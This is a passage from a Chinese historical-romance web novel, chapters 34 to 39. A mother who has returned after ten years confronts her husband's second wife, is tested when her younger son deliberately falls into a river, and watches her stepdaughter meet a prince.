腹胃交加的难受使得林婉柔说出的话有些沙哑,刚一开口便觉得酸水还往上涌,忙是又用帕子掩了嘴。
沈卿知面色不善地看向洪太医,道:“你给婉柔喝的什么药?为什么她会这样。”
洪太医面不改色道:“侯爷,这药是重了些,但是治病啊,您看平夫人这不是醒了么。”
沈卿知面色又青又白,一时无言。
一群太医默默低头,怪不得他们比不上洪太医在这世家老爷夫人面前得脸呢,因为他们没他不要脸啊。
见林婉柔一时半会干呕个没完,孟南枝便道:“既然侯爷的平夫人已经醒了,侯爷便把诊钱同几位太医结一下吧。”
沈卿知转头瞪她,但见她眸色平静还带着股冷嘲,又不甘心地问向洪太医,“婉柔这样要多久?”
“侯爷不用紧张,微臣保证用不了两个时辰平夫人此种症状便会消失。”洪太医一脸诚恳。
沈卿知再问:“就没有其他药再治一治?”
洪太医抬眸看了眼孟南枝面无表情的脸上,摇了摇头。
见洪太医摇头,后面的几个太医也跟着摇头。
反正那药又不重,有呕吐症状又不会真的呕吐,有腹泻症状又不会真的腹泻,不过是难受一会儿,他们没必要自讨苦吃地揭穿跟着受罚。
怎么站队,他们还是分得清的。
沈卿知无法,只得让他们去找管家结诊钱。
“南枝。”
太医走后,林婉柔想同孟南枝说话,偏偏每一张口,腹部就会痛上几分,胃也还想向上翻滚。
陆筝筝便顺着母亲的话对孟南枝说道:“南姨,我母亲说她错了,求您不要赶母亲出府。”
“莫要求她,本侯不会休你母亲。”沈卿知拦住陆筝筝,看着孟南枝面色阴沉道:“你,出去。”
“可以。”孟南枝盯着沈卿知的脸,嘴角轻弯,“修儿,珩儿,把这屋内的掐丝珐琅妆奁、和田玉雕观音像、汝窑天青釉瓶,都带走。”
她的嫁妆,竟然用在她的身上。
沈砚修和沈砚珩闻言立马就开始搬东西,沈卿知面色涨红,“孟南知,你非要闹得如此难看!”
“沈卿知,到底是谁非要闹得如此难看,你心里没有一点数吗?”孟南枝眸色如冰,冷声道:“我说过,还有一日。”
说罢,便带着沈砚修兄弟离去。
“世子哥哥。”
身后传来陆筝筝带着哭腔的轻喊。
沈砚修拿着东西的脚步微顿,却没有回头。
……
孟南枝他们回到孟府时,刚好碰到从宫里回来的父亲。
孟正德去时穿的是石青色常服,回来的时候披的却是绣着流云纹的藏青色披风。
到了正厅,孟正德连忙将那披风下,小心地叠好递给胡姨娘。
胡姨娘没敢教给下人打理,亲自捧着放进了内屋。
孟南枝眼神闪了闪,那纹样是内造独有的缂丝技法,怕是天子亲自给父亲披上的。
看来父亲虽然请辞了太傅一职,但天子对他依旧敬重。
孟正德接过她递过来的姜汤一口喝完后,才道:“圣上已命工部带着河工奔赴山城九曲河沿岸。”
孟南枝暗自松了口气,圣上既然已有所安排,那先前的担忧与努力便没有白费。
胡姨娘看他们一个个雨里来雨里去地跑了半天,心的催他们赶紧去歇着,“今日都累了一天,你们也快去歇着吧。”
待胡姨娘服侍着父亲歇下,在她的催促下,孟南枝才在丫鬟的陪同下撑着雨伞回了阁楼。
见母亲上楼,次子沈砚珩眸光一闪,风一般就跟着上去,“母亲等等我。”
沈砚修见弟弟连伞都不拿,忙拿着伞跑过去,给他撑上,也跟着上楼。
孟南枝看着跟上来的两人,一动一静,忍不住想起他俩小的时候,也总是喜欢跟在她的后面,弯了弯唇角,声音里带了几分揶揄的笑意:“忙了一天,你们也不觉得累?”
话音刚落,两人便齐齐摇了头。
长子沈砚修关切问道:“母亲,你累不累?”
“我也不累。”
孟南枝看着他们这么鲜活的模样,低低笑出了声,转过身缓步走到铜镜前坐下,解开因沾了雨有些难受的发髻。
次子沈砚珩在她旁边坐下,静静地看她去簪,三千青丝依旧乌黑没有一根白,他记得父亲的平妻林婉柔就长了根白发,有一次他和她说了后,那脸色“刷”一下就黑下来,老难看了。
皮肤细嫩,没有像林婉柔一样起了斑点,眼角也没长细纹,不像是三十多的妇人,也就比他大了几岁。
看着,看着,沈砚珩冷不丁地突然问道:“母亲,这些年您去哪里了?为什么不回来看我们?”
孟南枝解发的手顿了一下,从次子一直盯着她看开始,她就知道他可能会问。
因为次子与长子不同,他太敏感了。
如果不小心回答,母子感情都会生离。
转过身,拉着长子也坐下来,孟南枝看着眼前长得比自己还高的两个孩子,决定不再隐瞒,非常认真地说道:“你们应该看出来了,母亲的样子还是和十年前一样。其实母亲哪里也没去,一直被困在水里。”
见两个儿子面色郑重,孟南枝两只手分别拍了拍他们的手,半开玩笑安慰道:“母亲以为要死了,结果被你们外祖父用鱼钩给钓上来了。”
说到此处,孟南枝眸子里涌出一丝哀伤,“母亲也是出来后,才知道已经过去了十年,你们已经长大了。”
沈砚修想起前日里初见母亲时,马里放着的那件带着湿气的衣服,瞬间就信了母亲的话,想到母亲被水困十年的苦,眼里便含了泪:“母亲,您受苦了。”
孟南枝温柔地抱了抱他,“对不起,母亲当日瞒了你。”
沈砚修摇头,“这件事确实太过匪夷所思,母亲瞒着是对的,不能再有其他人知道。”
额前碎发挡了眼睛的沈砚珩看不出情绪,沉默几息后,又问道:“母亲,你以后是不是都不回侯府了?”
他看出来了,眼前的母亲是容不下父亲那平妻的。
孟南枝看着他们正色道:“是,母亲想与你们父亲和离。”
第35章 火还不够
这几日,她反复想过很多次。
如果没有离开的这十年,沈卿知纳了林婉柔为妾,她能不能接受。
结果是不能。
如果没有提前看到过巨幕里的画面,她能不能接受沈卿知娶林婉柔为平妻。
结果还是不能。
所以回来后,她除了一心想要掰正孩子,避免他们真的走上巨幕里的死路。另一个就是与沈卿知和离,离开镇北侯府。
为了孩子和孟家,她接下来要走的路,肯定会和镇北侯府背道而驰。
长子沈砚修已有心理准备,张了张嘴终是把想要说的话又给咽了下去,只是沉默的眼神里,满不是滋味。
虽然他也想一家同好,父母恩爱,可父亲这两日的做派明显是更偏袒婉姨一些,他不想让母亲难做。
次子沈砚珩眉间情绪偏郁,看了眼非常信任母亲的兄长,突然说道:“是该和离,父亲他一门心思向着那女人,根本就想过正二八经的寻母亲,而且他俩还没成婚的时候就在府里卿卿我我,我和昭妹有一看还看到他俩……”
见弟弟越说越远,沈砚修连忙捂住他的嘴,“母亲,您先歇息,我带珩弟也去睡了。”
说罢,半推半抱地就拥着弟弟下了楼。
看他们下楼的孟南枝眸光中闪过寒意,她当他们只是背着人偷偷行事,原来连孩子都没顾忌!
……
镇北侯府,南苑。
痛与难受交加的林婉柔被冷汗浸满全身,连床榻都没能幸免,被褥上面全是水渍。
沈卿知见不得她如此受苦,亲自把她抱在起来,安排丫鬟给她换被褥。
终于熬过两个时辰,林婉柔白得跟雪一样的脸色才缓缓有了红晕,只是那手,却没有力气抬起来,喉间发出的声音也轻得像是摸不到的云,“侯爷,不要怪南枝和修儿他们,都是妾身的错。”
沈卿知心疼地握紧她的手,满是柔情地说道:“你都已经这样了,还在为他们辩护。”
林婉柔露出令人心碎的笑容,轻声说道:“侯爷,您应该明白,妾身的心中只有您一人。无论发生什么,妾身只愿您过得幸福。即使您真的要休弃妾身,妾身也毫无怨言。”
顿了顿,她又道:“只是侯爷,妾身父亲您是知道的,若是妾身离了侯爷,他觉得妾身没有价值,只怕不会再与侯爷……”
话未说完,晶莹的眼泪已悄然滑落,滴在沈卿知的手背上。
沈卿知眸色闪了闪,虽心怀筹谋,却仍温柔地为她拭去泪水,柔声说道:“本侯绝不会因她的威胁而休弃于你,切勿再为此忧伤。”
又哄着她说了一些话,沈卿知嘱咐陆筝筝好好照顾林婉柔后,便走了出去。
陆筝筝将守候在一旁的丫鬟遣开,吩咐道:“速去再换些热水来。”
躺在床上的林婉柔拿起帕子擦掉脸上的泪珠,眸色清明,哪里还有半丝眷恋。
陆筝筝连忙在她身后又支了个玉枕,让她半侧卧着,并递上了早已冷好的温水,轻声唤道:“母亲。”
林婉柔微微抿了一口茶,声音里带着难以言喻的沙哑,缓缓说道:“火还不够,再烧一烧。”
陆筝筝接过茶盏,低声应道:“母亲,再过一日便是荷风宴。”
林婉柔想起今日在孟府面前受的委屈和刚才被逼着喝药后的腹痛,眼中闪过阴霾,“她不是不怕别人说么,我倒要看看待到那日,她顶不顶得住别人的众口铄金。”
陆筝筝又换了件干净的帕子给她擦汗,“母亲,世了那……。”
林婉柔轻哼一声,“她回来了,你与世子定然是再无可能,不过若是能逼得世子与她起了嫌隙,那倒也可以。”
……
笠日的京都,大雨已变成蒙蒙细雨,但天却仍被灰云压得低低的。
一夜浅眠的孟南枝在燕子的低鸣声睁开眼,才发现竟然是次子沈砚珩在窗边学鸟鸣。
见她醒来,笑呵呵地在外面等她穿好衣服才进来,“母亲,你可算醒了,我都等你半天了。”
少年的发间还凝着少许雨露,一身青衫衬得他身姿挺拔,只是眉宇间仍然带着少许郁气,仿佛始终抚不平。
孟南枝踮脚用软布擦掉他头顶的雨珠,笑问道:“怎么起这么早,你哥呢?”
沈砚珩咬了口不知道从哪里摸来的酸枣,酸得咧嘴道:“我哥他去书院了。”
“书院?”
孟南枝插簪的手顿了一起下,想起昨日问起长子学业,他那不敢抬头的样子,有些好笑。
又抬眼看了看次子吊儿郎当的样子,问道:“你怎么不去?”
“我这不是想着母亲才回来,陪陪母亲嘛。”沈砚珩扔掉酸枣,一条腿搭在了椅背上。
警告似的轻拍他的腿,让他坐好,孟南枝佯怒道:“没有一点正形,只允许今日这一次,明天就去书院好好上课。”
沈砚珩连忙坐好,保证道:“好的,母亲大人,孩儿保证明天就去。”
看他这般模样,孟南枝也就由着他,束完发后,轻声道:“昨日醉香阁那两个是你朋友?”
沈砚珩眼皮耷拉下来,静默几息,不答反道:“母亲,我昨日是第一次去。”
孟南枝睁开眼,拉住他的手腕,让他在自己面前做下,“母亲知道你是第一次去,母亲想知道你是自己想去的,还是他们蛊惑着你去的。”
沈砚珩飞快地别开脸,避开母亲的视线,“是我自己想去的。”
孟南枝的目光在他脸上停顿了片刻,带着几分探究地追问:“真的?”
沈砚珩几不可察地抿了下唇,轻轻点了点头,语气轻飘飘地说道:“是。”
孟南枝没再继续追问,眉间微蹙,那两个人还是得找到才行。
沈砚珩见母亲不再询问,便转移话题道:“母亲,我带您出去逛逛吧,现在的京都和十年前不一样了。”
孟南枝回过神来,不扫兴地应道:“好啊。”
两人到了正院才得知,父亲因已养成垂钓的雅兴,一大早便冒雨去了河边,说是雨后的鱼吃起来更鲜。
胡姨娘正嘱咐着丫鬟婆子给三个外孙绣制换季的衣物。
见到孟南枝,便递给她一张贴子,说是平阳公府送来邀她明日参加荷风宴。
第36章 次子落水
因着前日里曹宛清已经和她通过气,所以孟南枝便让刘嬷嬷把贴子收了起来,带着沈砚珩出了府。
街市铺着的青石板路吸满了水,泛着乌润的光,被偶尔驶过的马车溅起细碎的水花。
孟南枝随沈砚珩撑着伞踏在湿地上,发出“吱呀”的轻响,又很快被滴落的雨水声盖过。
街市的行人很少,小贩都没有出摊,只有那些铺子还正常的开着。
……
镇北侯府,书房。
檀香在铜炉里明明灭灭,满室沉郁。
沈二叔猛地把茶盏放在案上,发出一阵闷响,“我这一日不来侯府,便听得满耳朵下人的嚼舌根。说你派了管家,把之前送到各府的礼都给买了回来。”
“你当这是做市井买卖呢,送出去的东西还能原封不动地往回拎?你知不知道这样,会让多少世家看咱沈府的笑话?”
沈卿知的面色同样不好看,他难道不知道会闹得别人笑话?
可那到底是孟南枝的嫁妆。
见他不答话,沈二叔的面色更加难看,“难不成,你还真的要同南枝和离?你要知道那可是孟家!孟家!咱当初费了多大的努力才能和孟家联姻!”
最后两句话,完全是咬着牙齿硬挤出来的。
十七年前,他们沈府还处在外强中干,长辈不行,嫡子无能的死局,唯有沈卿知是个有点能力的,偏偏却是个庶子。
自得知孟太傅对沈家这个庶子评价颇高,长兄为了中兴沈家,便不顾族中反对将沈卿知记在长嫂名下,这才有了往孟家递婚贴的资格。
沈卿知与孟南枝成婚后,他们沈家依靠孟家才慢慢稳住这侯爵之位。
“二叔父,孟家已经衰败了。”沈卿知握紧了手指,那都是以前,他现在才是镇北侯府的掌权人。
“衰败?”沈二叔轻拍桌案,压低了声音道:“哪里衰败了?那孟正德可是死了?”
沈卿知满脸不服地反驳:“他已经十年不曾参与朝政,也没再入过皇宫,这些年圣上也从未再照料过孟家,沈府更是没有得到该有的体面。”
沈二叔气急败坏地吼道:“孟正德为什么不参与朝政你难道不清楚?那是因为他女儿南枝生不见人死不见尸,他不甘心!如今南枝回来了,难道他就不会为了女儿再上朝堂?”
沈二叔一直知道沈卿知是个有野心的,若非如此,长兄也不会托他上位。
长兄故后,他谨遵长兄遗言盯着沈卿知一定要与孟家交好。
谁能想到,孟南枝竟然溺水死了,生不见人,死不见尸。
孟太傅为了寻女竟然致仕,那他再盯着沈卿知与孟家交好还有何意义。
但为了预防万一,他还是叮嘱沈卿知在孟太傅没有彻底失势前不要与孟家断了。
沈卿知也还算分得出轻重,给自己营造了爱妻不续弦的名声。
所以这几年,他对这个大侄子的说教便少了,哪怕他使了手段娶了林婉柔为平妻。
毕竟,谁能想到死了十年的人还会活着回来啊。
偏偏人孟南枝还就回来了。
那么,谁又能算到孟正德会不会再为了女儿重上朝堂。
“二叔父,十年了,朝局已经大变,孟家不可能再回到当初的盛况了。”沈卿知沉下脸,对沈二叔劝说道:“而且我已娶婉柔,这几年不少得她父亲照拂,左相如今也对我另眼相待。南枝的脾气你也知道,她与婉柔定难共存。可若是休了婉柔,只怕……”
沈二叔闻言眸色深重,半晌才道:“那也不能和离,万一呢,万一孟正德重回朝堂了呢?你还是再想一个稳妥点的办法。”
……
沈砚珩一开始没有领着她进任何铺子,就这么在街上瞎逛,直到看见李氏成衣铺的牌匾,才扭头对她笑盈盈地道:“母亲,去看看吧。”
“好啊。”
孟南枝笑着应答,前几日,不,是溺死前一天她还在这家店铺买成衣。
“沈二公子,可是好久没见着您了。”掌柜的很年轻,见到他们便笑着迎了过来,只凭孟南枝的妇人发髻便轻轻道了声:“沈二公子可是要为这位夫人选成衣?”
沈砚珩轻轻“嗯”了一声。
掌柜的便对孟南枝介绍道:“夫人,不知您是喜欢素的还是艳的?店里刚好新入了几件苏绣料子的襦裙,您穿起来肯定好看。”
孟南枝浅笑着颔首,目光扫过店内。格局倒是没大变,只是挂着的成衣款式比之前更加雅致,料子也都精细了许多,都是当下最流行的款式。
沈砚珩抬眸轻轻扫过店里的每一件成衣,最后落在一款水绿色裙装上,“母亲,试试这件吧。”
孟南枝抬头只看了一眼便道:“前几日你不还说我穿这颜色不好看,说太素了。”
母亲?
掌柜的愣了一下,没敢细想,看着那件成衣道:“夫人,您别看这衣服颜色素,料子可是上等的杭稠,穿起来可不素气。”
沈砚珩却是眉色郁色稍减,笑着道:“母亲试一试吧。”
“好啊。”
孩子的建议,不该扫兴。
孟南枝接过掌柜的递过来的成衣,便想着去里间换衣,沈砚珩又道:“母亲直接穿在外面吧,有点凉。”
孟南枝脚顿了一下,看着地上次子长长的影子,嘴角轻轻勾起,应了声:“好。”
换好衣服出来,沈砚珩看着和记忆中十年前那日的母亲一模一样的孟南枝时,眼睛亮了一下,随即又低头让掌柜包了两套衣服,出了铺子。
因为多穿了一件衣服,再跟着次子沈砚珩出来逛时,便隐隐生汗,但见他兴致不减,孟南枝便也由着他。
两人正走着,孟南枝突然被人撞了一下,接着腰间一轻,荷包便被拽了去,抬头便看见个灰衣小贼正拽着她的荷包往巷子里钻。
“有贼。”孟南枝稳住身子提起裙摆就上前追。
沈砚珩却跑得比她更快,“站住。”
孟南枝跟在他们后面刚追出巷口,便见到次子沈砚珩被那小贼推得一个踉跄后退两步,整个人“扑通”一声栽进了河里。
第37章 母亲我错了
孟南枝脑子有一瞬间的空白,三两步便跑到河边一头扎了进去。
带着雨水气息的河水瞬间便裹住了她,她屏着气往次子沈砚珩落水的方向游,眼看就要够到他的衣服,却见他似喝了水,双手扑通着不住地往下沉。
孟南枝心中一慌,赶紧又往下游的更深一点,努力拉住他的衣襟让两人贴得更紧一些。
待把他拉到自己身边,孟南枝连忙一手托住他的腋下,拼命往岸边游。可水流却不断地推着他们往下游,她的裙摆被水浸得沉甸甸的,缠在腿上像是绑了铁,连胳膊都快要抬不起来。
“这边,往边边来,抓住木棍。”岸边有人递来长条木棍。
孟南枝用力抓住木棍,托着沈砚珩往岸边游,待被人拉上岸,她不顾身上的泥污,先去看次子有没有事,并猛拍他的后背,怕他真被呛了河水,“珩儿。”
沈砚珩吐出几口河水后,缓缓回过神,看着面前一脸焦急,浑身虽然湿透,连发髻都乱得不像样子的孟南枝,想到她连一息都没多想的跳下水救自己,扭过身子面向她突然开口道:“母亲。”
语气明显昨日真诚了许多。
还在担心的孟南枝闻言一愣,焦急的目光看向他,湿透的衣袍紧紧贴在他身上,勾勒出楞瘦的骨架,额前的发稍滴着水,黏在苍白的脸颊上。
逛街。
成衣铺。
小贼。
这几个关键点连在一起,孟南枝的眼睛瞬间通红,从地上随手捡起一根树枝就朝他屁股抽了过去,“你要怀疑我不是你母亲,你直说便是,至于拿自己的生命去犯险?!”
“我怀胎十月生下你,就是让你这么不好好爱惜自己的吗?”
“我死了也要努力的拼命跑回来,就是这么看你自己糟蹋自己生命的?”
“你想试探用什么不能试,非要用这一招是不是!”
孟南枝最后一枝条落在次子的屁股上时,指节都在发颤。沈砚珩没有躲,眼眶里含着泪,眼神里的思念就像根针,狠狠地刺向她的心口。
她喉头一紧,想起自己走时他还不过四岁的模样,突然抬手打了自己一巴掌。
“啪!”的一声脆响,比打在次子身上时要重得多的多,孟南枝的半边脸瞬间麻了。
沈砚珩一时没有反应过来,看着母亲脸上的五个红指印,眸间略过浓浓的悔意,“母亲我错了,你别生气。”
孟南枝扭开脸,“你没错,是母亲不对,母亲不该丢下你们不管。”
“母亲,你别哭。”沈砚珩盯着她眼角的泪痕,一时有些无措。
“我没哭,下雨了。”
孟南枝扭头擦掉脸上的“雨水”,从河边捡起刚才并未注意,被沈砚珩扔下的包裹,取出刚才在成衣铺买的披风,披在他的身上。
沈砚珩看着认认真真为他系披风的母亲,突然又轻声问道:“所以哥哥说,如果十年前父亲先救你,你是可以活的,对吗?”
他不善水,兄长不让他学。
兄长说,怕他学会和母亲一样,因为救人而溺死。
孟南枝系披风的动作顿了一下,怕说出实情会对次子心理造成一定的影响,轻拍了拍他的头笑道:“你看母亲现在不是好好地回来了。”
沈砚珩“嗯”了一声,眸色深沉,没再说话,从包裹里拿出衣服也给母亲披上。
幸好他提前做好准备,母亲虽然全身湿透,但因为穿得多,并不凸显身姿。
“走,再去买两身衣服换上,莫在因此生了病。”
虽然次子故意落水,但孟南枝并没有和他置气的想法,领着他去最近的一间成衣铺,重新换了一身衣物。
两人接着逛街,这一次孟南枝主导,沈砚珩跟着,左一包糕点,右一包绸缎,两人不知不觉竟从西市逛到了东市。
到了街口聚鲜楼时,孟南枝下意识地顿住脚步。
沈砚珩看出母亲的迟疑,便拉着她的胳膊往里面引,声音里带几丝独属于少年的谦意,“母亲,这里面有哥哥长期包的雅间,咱去吃饭吧。”
希望母亲吃完饭就忘了他今天犯的错。
门内迎客的店小二早已认出她俩,忙不跌弓身迎了上去,“侯夫人、珩公子,里面请。”
说罢,麻利地领着他们往楼上引。
长子沈砚修常坐的雅间一直空留着,孟南枝在窗边的椅子上坐下后,总觉得这雅间里多了一股淡淡的松脂香。
即清洌,又炙热。
抬眼看向窗外,即便是下了一夜的大雨,大衍湖底依旧未能存水。
干裂的泥块边缘被雨水浸得发乌,却依旧倔强地向上翘着,先前枯死的芦苇被雨水打湿压得弯了腰,啄泥的麻雀早已没了影,空气里满是雨水裹着土腥气的闷。
完全想象不到十年前,善水的自己竟然会溺死在这里。
沈砚珩跟着母亲的视线瞟向窗外,死死握紧了拳头。
父亲有错,他那平妻更加有错。
凭什么她和母亲同时落入水中,她还能好好活着。
而母亲溺于水中十年,该多么痛苦。
得了信儿的贾掌柜,青着一只眼圈,再次亲自端着托盘上了楼,只是那盘中点心却是换了样。
“侯夫人,这是您最爱的碧螺春、桂花糕,小的已让厨子专门做了您最爱吃的桂花鱼、山海兜和元修菜,您看您还有什么需要的。”
孟南枝扫了眼他青得发紫的左眼,只当他是因着长子,才知道了自己的饭菜喜好,便笑着又点了几道次子喜欢的菜。
贾掌柜恭敬地准备躬身退下,却听孟南枝又问道:“掌柜的,你可知这大衍湖是如何抽干了水,又为何这么多年不再存水。”
见他有些微怔。
孟南枝突然发觉自己的问题对一个掌柜来说可能有些为难,便摆了摆手道:“算了,你下去吧。”
贾掌柜躬着身子出了雅间,他知道啊,他还参与了呢,可是他不能说啊。
他可是在将军面前发了毒誓,天知地知他知将军知,剩下的谁也不能说啊。
揉了揉还生生发疼的左眼,贾掌柜觉得他来做这个掌柜真是倒了八百子霉。
同伴都说他命好,天天坐吃鲜珍。
可他们哪知道他受的都是什么奇葩的苦。
不就沈世子带着侯夫人来没去通知将军,就被将军打了黑拳。
今日侯夫人和沈二公子来了,沈世子没来。
他不去,总不会再被挨打了吧。
将军是真的有病,打完他竟然还在沈世子的雅间里坐了整整一夜。
将军该不会对沈世子有什么非分之想吧。
第38章 陆筝筝的高枝
贾掌柜下去后,次子沈砚珩捡了一枚糕点填在嘴里,为了转移孟南枝的注意力,故意说道:“母亲,你怎么不问我这大衍湖是如何抽干了水,又为何这么多年不再存水的。”
“你知道?”孟南枝倒是真的好奇了,自己这个次子在巨幕里可不是个有脑子的。
“我不知道啊。”沈砚珩眉宇间的郁色减少了许多,他卖了个关子说道:“可是我知道谁知道啊。”
孟南枝往他面前的碟子里夹了菜,满是宠溺地看着他,“那你倒是说说谁知道。”
沈砚珩学着小时候的样子,往母亲身边凑近了些,小声道:“我认识一个朋友,他爹当时参与过挖湖,等回头我给母亲问问。”
还以为他真知道呢。
孟南枝好笑地轻弹了下他的头,“好好吃饭吧你。”
“母亲,这个好吃。”
沈砚珩笑眯眯地吃着母亲给他夹的菜。
母亲没生他气。
真好。
“对了,你们书院的饭食怎么样?可还吃得惯?”孟南枝突然想起来长子有些挑食。
沈砚珩边吃边道:“我还好啊,又不挑食,什么都能吃,只是哥哥吃不惯,不过母亲您放心,哥哥的筝妹每天都给他送饭呢。”
说到这里,沈砚珩似乎突然察觉不妥,有些小心翼翼地抬眼看向母亲,果见母亲正给他夹菜的手顿下来。
孟南枝把木箸放在菜碟上,吩咐店小二过来打包,“走,去给你哥送饭。”
任何一个让长子和陆筝筝可能发生火花的机会,她都得掐灭。
孟南枝带着沈砚珩赶书院的时候,恰逢学子散学。
三三两两的学子撑着油伞,踩着青石板上的水洼慢慢走,鞋尖溅起的水花沾湿了裤脚,却不管不顾,只和同伴讨论先生留下的经义,声音脆生生的,比伞顶的雨珠还要清亮。
经过孟南枝和沈砚珩身边时,也未多留意,只当是哪位学子的亲人,微笑示意便略了过去。
孟南枝看着他们这群少年脸上未脱的稚气与眼底的光芒,忽然觉得这雨都变得温柔起来。
连日来的紧张心情放松下来,脚步变得缓慢,跟着沈砚珩一边走,一边观看这书院的雨中景色。
跟着次子走到一处廊下,孟南枝顺着沈砚珩的手指望去,便见长子沈砚修立在斜对面的老槐树下。
他身着一袭白色锦袍,领口袖边绣着几缕银纹,被雨雾洇得愈发清润。手里撑了一把油纸伞,左顾右盼,明显是在等人。
远处,身着藕荷色金丝软烟罗裙的陆筝筝,手提着被油纸包着的食盒,正小心翼翼地不时地抬手护一下,生怕被雨淋着食盒,往他这边走。
沈砚修见到她,连忙撑着伞走过去,脸上满是担忧地说道:“筝筝,你有没有被淋到,怎么不打把伞?”
“路上滑,不小心摔了一脚,伞刮跑了。”陆筝筝俏皮地吐了吐舌头,献宝一样举起食盒道:“不过世子哥哥你放心,食盒没事。”
沈砚修看了眼她湿透的鞋面,和半身沾了泥叶的裙摆,暗叹口气,弯下腰替她把叶子摘掉,轻声问道:“有没有摔疼?”
陆筝筝摇了摇头,又点了点头,怯生生地说道:“是有那么一点点,不过看到世子哥哥就不疼啦。”
这边廊下的孟南枝拉着次子沈砚珩一直没过去。
沈砚珩不解地看向母亲,“母亲,不去拦着?”
孟南枝撇了撇嘴:“拦着干嘛?”
沈砚珩啧了一声:“棒打鸳鸯啊,话本里不都这么写。侯门世子爱上软弱小白花,母亲大人不喜,发威手撕姻缘。”
孟南枝非常配合地反问:“然后呢?小白花不堪受辱,世子与母亲决裂,几年后,小白花强势归来,打脸母亲是吧?”
沈砚珩点头:“对对对。”
孟南枝轻拍他的脑袋瓜,“对你个头,等着吧,看他们进展到什么程度了。”
“世子哥哥,我今日专门做了你最爱吃的樱桃肉和蟹酿橙。”陆筝筝把食盒递到沈砚修面前。
沈砚修看着被她抱得严实的食盒,没伸手去接,而是皱着眉头道:“筝筝,你以后不用给我送饭了。”
陆筝筝慌了神,眼中瞬间便噙了泪,“怎么了?世子哥哥,是筝筝做的菜不合你的口味了吗?还是筝筝哪里做得不好?”
沈砚修摇了摇头,“你做的菜很好,只是,这些事,不用你亲自来做。”
“不是的,一定是筝筝做得不好,世子哥哥你以前都喜欢的呀。”陆筝筝盯着沈砚修的眼睛里全是委屈,“是不是因为南姨?”
说着,那眼中晶莹的泪珠便如线一般滴落下来,她咬着下唇尽量控制自己不哭出声,“是不是因为南姨不喜欢我,所以世子哥哥就不吃我做的菜了?”
沈砚修连忙辩解,不想让她误会母亲,“不是的,母亲没有不喜欢你,是我自己,是我的原因。”
陆筝筝倔强地抬手擦掉眼泪,非常有骨气地说道:“既然世子哥哥不喜欢,那筝筝不来了便是。”
说罢,抱着食盒转身就跑,可没跑两步竟然又脚下一绊,软绵绵地跌倒下去。
已经躲在廊柱下开始边啃瓜子边看戏的沈砚珩道:“母亲,你说哥哥会不会去扶?”
孟南枝拍了拍他的手,让他不要乱丢垃圾,不确认地说道:“会吧?不会吧?”
她也不知道啊。
按巨幕里,是该会扶的。
这不是她回来了么。
故意跌倒在地上的陆筝筝没动,一直在等沈砚修过来扶她。
照以前的经验,她在地上不会超过十息,他便会过来。
可是,现在她已经数到了二十息,沈砚修还没过来。
正当她准备收起面上的表情,狼狈地站起来时,头顶忽然暗了暗,一柄暗纹云绸伞稳稳遮在她的上方。
她抬头,撞进一双沉静的眸子里。
男子穿的是月白流云锦袍,腰间束着的玉带间坠着一方玉佩,随着他俯身的动作,发出悦耳的声响,“姑娘,可无碍?”
陆筝筝怔了怔,才慌忙起身,却又被膝盖的疼绊住,毕竟她刚刚为了世子可是真摔啊。
不想男子抬手顺势便将她拉起来,落在自己的怀里,两人伞下相拥,竟然隐生几分暧昧。
廊下的孟南枝暗自肺腑,陆筝筝和她的高枝这算是提前见面了?
第39章 四皇子萧临渊
沈砚修没想通陆筝筝是怎么把自己绊倒的。
那地是平地,脚也没踩上裙摆,他自己试了两步,怎么也摔不下去。
不理解,便一时没去扶,然后就被人截胡了。
他看着伞下抱在一起的两人,还没来得及有什么想法,后背就被人狠狠撞了一下。
“哥,看什么呢?”
沈砚珩在母亲的催促下给兄长来了一个大背咚,双手揽在他的肩上。
沈砚修回过神来,看着贴在自己脖子上的弟弟,“你怎么来了?你不是说要在家陪陪母亲吗?”
“母亲怕你吃得不好,带我来给你送饭呢。”沈砚珩转身,指了指廊下。
沈砚修顺着他的手指看去,果真看到站在廊下拎着食盒的母亲,正似笑非笑地望着他。
不确定刚才与陆筝筝相处的画面有没有被母亲看到,沈砚修有些心虚地冲母亲招了招手,低头问弟弟:“你怎么带母亲来这里了?不知道她会来吗?”
“我哪知道你还在让她给你送饭,母亲都回来了。”
沈砚珩丝毫不提是自己主动开的口,更不敢提为了试探母亲,亲自落水。
他已经确定了,母亲就是母亲,母亲所做的事他一定会全力支持。
陆筝筝被男子圈在怀中,脸颊霎时烧得厉害,连耳根都泛起绯色,抬起小手推他。
“当心,这石板路雨后滑得很。”
男子声音低沉,带着笑意拂过耳畔,陆筝筝的身子莫名一僵,连指尖都泛起热意,正不知所措间,耳畔又传来一道温和的声音,“奕王殿下,请放开臣妹。”
奕王,四皇子,萧临渊。
原来是他。
母亲说南姨回来后,她与沈世子便再无可能,而且沈世子也没按母亲的计划去退婚,那眼前的奕王是不是她可以抓住的呢?
陆筝筝心思转换,准备推开他的手便缓了几分力道,面上依旧一副泫然若泣,委屈又倔强的表情,“你快放开我。”
萧临渊垂眉看着怀里似水般娇羞,如波涛一样胸部上下起伏的姑娘,眼底闪过一丝暗芒,抬眸看向过来同他见礼的沈砚修,“沈世子,本王记得令妹是朝昭,这位是?”
“她是臣的……”
沈砚修一时有些哑然,说是继妹,但她没入沈家族谱,说不是继妹,她又是父亲平妻的孩子。
“她是沈卿知平妻的女儿,陆筝筝。”
孟南枝缓步走来,语气清冷,“地上滑,筝筝还是小心点好。奕王好意相扶,既然站稳了,便该有些礼数才是,莫要让旁人看到,平白惹些闲话出来。”
萧临渊看到孟南枝,眸子瞬间一亮,惊讶道:“枝枝……姐?你回来了?”
本来环抱着陆筝筝的手瞬间松懈下来,陆筝筝突然失去支撑的力量,猛地落地,屁股重重地撞在了坚硬的地板上,发出一声闷响。
萧临渊此刻的注意力全在孟南枝身上。
沈砚修非常规矩地站在母亲身后。
无人扶她。
而且沈砚珩还嘲讽似的对她做了个鬼脸。
她只得双手撑着地面站起来,疼得眉峰微蹙,暗握秀拳,面上依旧装得柔柔弱弱,怯生生地道了声,“谢南姨提醒,筝筝知晓了。”
孟南枝未再理她,忍着心中恨意对萧临渊浅笑道了声:“奕王。”
奕王萧临渊与谢归舟同岁,孟南枝溺亡前,他才十九,现在也二十有九了。
与谢归舟的缄默不同,少年时的萧临渊很爱同她说话。
看似与她很是亲近,哪想心思深沉,太子故后,为了争夺高位,竟然把她的子女逼到那般境地。
她本不欲见他,但若让陆筝筝按照巨幕情形真的攀上高枝,那她回来还有什么意义。
“枝枝姐怎么能这么客气,还是称我临渊吧。”
萧临渊反复看了眼孟南枝与十年前一样不曾改变的容貌。
